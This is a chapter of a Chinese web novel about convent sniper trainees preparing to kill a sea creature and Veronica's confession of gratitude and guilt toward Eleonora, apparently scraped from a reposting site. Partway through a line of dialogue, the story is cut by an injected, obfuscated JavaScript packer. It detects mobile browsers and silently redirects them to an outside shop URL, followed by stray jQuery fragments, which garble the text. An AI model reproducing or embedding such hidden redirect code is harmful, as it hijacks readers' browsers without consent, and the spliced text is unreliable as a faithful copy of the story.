文趣网 > 其他小说 > 神明终有一死 > 45. 赎罪
    游叙和埃莱奥诺拉并排坐着,两个人全都两眼无神,目光呆滞,一看就是熬了大夜。旁边玛丽嬷嬷气咻咻地盯着埃莱奥诺拉,恨不得用眼神在她身上戳出一堆小洞。

    维罗尼卡走过来,思考片刻,选择坐在游叙后面。

    “怎么了?”她小声在游叙耳边说,“玛丽嬷嬷为什么看起来那么……生气?”

    “她惩罚埃莱奥诺拉去擦教堂的雕像。”游叙瞥了眼玛丽嬷嬷,“然后……呃,那个雕像,可能是风吹日晒时间太久了,就,掉了。”

    维罗尼卡,“……”

    维罗尼卡,“哇哦。”

    埃莱奥诺拉回过头,“这事真的不能全怪我,那个小天使本身之前就被卢卡弄坏过……”

    “埃莱奥诺拉!”玛丽嬷嬷怒气冲冲地走过来,“不许交头接耳!”

    三个人同时缩了缩肩膀。

    埃莱奥诺拉灰溜溜地转回身,两手放在膝盖上,假装自己是个听话的好学生。

    晏衡正好过来,看到此景,顿了下才来到游叙身边,问她,“这是……?”

    游叙低声道,“院长有事要说,可能是关于帕耳忒诺珀的。”

    这里是修道院的礼堂。

    礼堂对比教堂简直堪称简朴,没有花里胡哨的十字穹顶,也没有雕塑和彩窗,只有纯白四壁,还有挂着几条灯管的天花板。屋内摆了数条长板凳,没有桌子,修士们各自落座,不时窃窃私语。最前面的讲台还是空的,只有一张窄桌,还有椅子。

    窄桌上放了只玻璃瓶。

    游叙眯起眼睛。

    那个瓶子好像就是……

    门吱嘎一响,维斯孔蒂夹着一只包走了进来。

    礼堂里的声音渐渐低下去,消失不见了,大家都坐直身体,把目光投向维斯孔蒂。

    她坦然自若地坐下,从包里掏出个杯子,拧开杯盖喝了一口。

    游叙莫名有种在上大学时被导员叫去开会的错觉。

    “今天叫大家来说说海蠹的事。”维斯孔蒂开口了,“还有几天就是圣母升天节,全城都很重视,一定不能搞砸,因此我们决定提前引发海蠹潮……”

    游叙的神思慢慢飘远。

    看来国内国外,在官僚废话这一点上,也是出奇一致啊。

    “……为此,我们决定使用诱导剂。”

    维斯孔蒂拿起那个玻璃瓶。

    瓶中液体如同水一样清澈透亮,在灯光照耀下隐隐泛着暗色波光。游叙恍然想起那一夜维罗尼卡扔掉的瓶子,它们的确就是同一种东西。

    “引发海蠹潮之后,由狙击手杀死帕耳忒诺珀,彻底解决海岸问题。”维斯孔蒂的目光在游叙脸上扫过,“起码在这之后,我们可以轻松一段时间。”

    “好了,姑娘小伙子们,动起来吧!”

    修士们纷纷起身,议论纷纷。游叙感觉到很多人在悄悄看她,让她有点不自在。她转头想看看维罗尼卡,却发现她也盯着那个玻璃瓶,不知道在想什么。

    游叙悄悄转过身。

    她问晏衡,“你昨天晚上干嘛去了?”

    晏衡垂眼看她,“怎么?”

    “你是不是去找院长了?”

    晏衡稍稍一抿嘴角。

    “你怎么知道?”

    “哼,我什么都知道。”游叙得意地背起手,“你去跟她说什么了?集市上栽赃我们的事?”

    晏衡脚步停住。

    “你知道?”

    “我都说了我什么都知道。”游叙拽了他一下,“你当我傻啊,看不出来?莫名其妙的,为什么要突然栽赃两个外国人?”

    晏衡跟着她往前走,“那你……”

    “帕耳忒诺珀总要杀的吧,互相利用。”游叙说,“我本来想这事结束之后攒着一块去找她的……没想到你先去了,谢谢啦。”

    晏衡沉默地走着。

    “你跟她聊了什么?”

    “没什么。”晏衡把昨天晚上的事说了一遍,但是略过了最后那一部分,“就这样。”

    “哦,你的嘴里也有能吐出象牙的时候啊。”游叙惊异道。

    晏衡微一皱眉。

    “你是不是在骂我?”

    “我可没有。”

    两人走到了外面,今天贝拉塞又开始有了阴云,不过薄了很多,阳光从那些干瘪的云层里透出来,像老人的咳嗽。周围修士们来来往往,开始为海蠹潮做准备,游叙挥手跟他告别。

    “我要接着去训练了。”她说,“你也加油。”

    说完她转身向狙击靶场走去。

    晏衡站在原地,看着她的背影慢慢向前、缩小,最后被华丽的廊柱还有月季花丛挡住,看不见了。

    后面有修士过来,拍了下他。

    “走,一起去训练场?”

    他点了点头。

    。

    游叙独自一人把枪箱提出来,累得气喘吁吁,最近好了些的脑袋又开始疼。她慢慢把箱子打开,一点点组装上零件,直到流程快结束的时候维罗尼卡才姗姗来迟。

    “很勤快嘛。”维罗尼卡在她旁边蹲下,“我也没什么好教你的了,你保持手感不掉就行。”

    游叙看她。

    “看我干什么?”维罗尼卡笑,“你自己的功劳。”

    游叙想问她那天晚上的事,但话在嘴边滚了一圈又咽了回去。她重新起了个话头,“你的伤怎么样了?”

    维罗尼卡活动了一下肩膀。

    “好了。”她说,“就是过程不大舒服……你应该也懂。”

    游叙点点头。

    她低下头,仔细擦了一遍枪身,重新调校了瞄准镜,对准靶子开了一枪。

    嘭。

    八环。

    维罗尼卡轻轻挑了下眉。

    “准头降了。”她说,“这可不行。”

    游叙盯着瞄准镜。

    再次扣下扳机。

    十环!

    维罗尼卡盯着靶子上的射孔,没有说话。

    游叙慢慢抬起头。

    “维罗尼卡。”她低声道,“你不高兴吗?”

    维罗尼卡像是忽然惊醒了似的猛地转过头来,声调也不自觉提高了一点,“我该高兴什么?”

    游叙安静地看着她。

    “我快离开这里了。”她说,“你还是那个在埃莱奥诺拉心里最厉害的狙击手,你不高兴么?”

    维罗尼卡闭紧了嘴唇。

    恰在此时半空有块乌云被风吹开,一点阳光从罅隙间垂落,把她发丝打上了一圈金边,她金色的发丝因而变得愈发透明。她把一缕头发勾到耳朵后面去,表情近乎空白。

    “我……我不。”她的尾音又垂下去,“你是我的朋友,朋友离开了,高兴才奇怪吧?”

    游叙的指尖在扳机上滑动一圈。

    “我不是在说

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722693|206466||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这个。”她声音轻飘飘地往上飞,“我是说,你和埃莱奥诺拉……”

    听到这个名字,维罗尼卡睫毛不安地翕动了一下。

    “我有点,不知道该怎么面对她了。”她艰难地说道,“她是个很好的人,对吧?你知道我是怎么来修道院的么?”

    游叙坐起来,看着她。

    维罗尼卡继续说道,“我家很穷,我父亲因为高利贷死了以后,妈妈要养活我们,有一天晚上加夜班遇到了劫匪……”

    她用力吞咽了一下,“那个人抢走了她的包,还给了她一刀,发现时已经天亮了。而那时候我们甚至连葬礼钱都出不起,我妹妹去捡贝壳也是因为这个。”

    从圣马诺山上来的风轻轻从两人之间吹过,夹带着这个季节特有的气味。游叙总是能在贝拉塞闻到各种各样的味道,柠檬、橄榄、月季、海,但此刻,她却仿佛嗅到深红色的,眼泪的咸涩味。

    维罗尼卡对着远处的圣母墓发了一会呆。

    有游客在那边,说话声遥遥传来。

    “后面的事你也知道了,原本五个人只剩下两个,连件像样的衣服都没有,我和哥哥每天都在为钱的事发愁,直到有一天,我发现了一封信,里面有很大一笔钱……”

    游叙已经猜到了,“是埃莱奥诺拉给的?”

    “对。”维罗尼卡点点头,“那笔钱够我们安葬家里人,还够……我来修道院。”

    游叙没想到这个,疑惑道,“来修道院?”

    “你不会以为修道院是想来就可以来吧?”维罗尼卡说,“需要交学费的,我们是社区大学呀。”

    游叙恍然想起曾经埃莱奥诺拉的介绍。

    维罗尼卡轻轻抚摸了一下□□还没散尽余温的枪身,说,“那时候我还不知道呢,我是后来才知道是她的。”

    游叙静静听着。

    “你看到我身上的烟疤了吧?那是我刚来上学的时候,有人欺负我烫的。”维罗尼卡说,“你猜,是谁帮了我?”

    毫无疑问,只能是埃莱奥诺拉。

    “虽然我们这里是修道院,但是哪里都会有霸凌的。”维罗尼卡说,“我们那一届有好几个……嗯,混混,当然,她们最后也没能成功毕业。”

    她对游叙眨了眨眼睛,“所以,我还是很幸运的对不对?”

    游叙不知道为什么觉得心里很难受。

    云还在头顶上轻轻地飘,训练场附近都是水泥地,所幸今天温度不是太高,可沙袋和地面还是散发出一股奇妙的泥土味。贝拉塞因为依山靠海,多风,风中卷着草木香。游叙盯着维罗尼卡看了一会,忽然倾身过去,抱了抱她。

    “维罗尼卡。”她轻声说,“你得知道,你是埃莱奥诺拉最好的朋友。”

    维罗尼卡愕然睁圆了眼睛。

    她有点不知所措地抬起手,迟疑几秒,轻轻回抱了游叙,她金色的头发和游叙的黑发紧紧贴在一起,几乎能感觉到对方身上微弱起伏的搏动。

    “……谢谢你。”她低声说。

    在游叙看不见的地方,维罗尼卡嘴唇轻微颤抖着。她蓝色的眼珠缓慢弥上水色,聚集成莹莹波光,最后啪嗒一下,落在地上。

    那点水很快就被地面吸收了,什么也没剩下。

    维罗尼卡看着那里,慢慢闭上眼睛。

    她无声吐出几个字,与空气相融。

    她在说。

    “对不起。”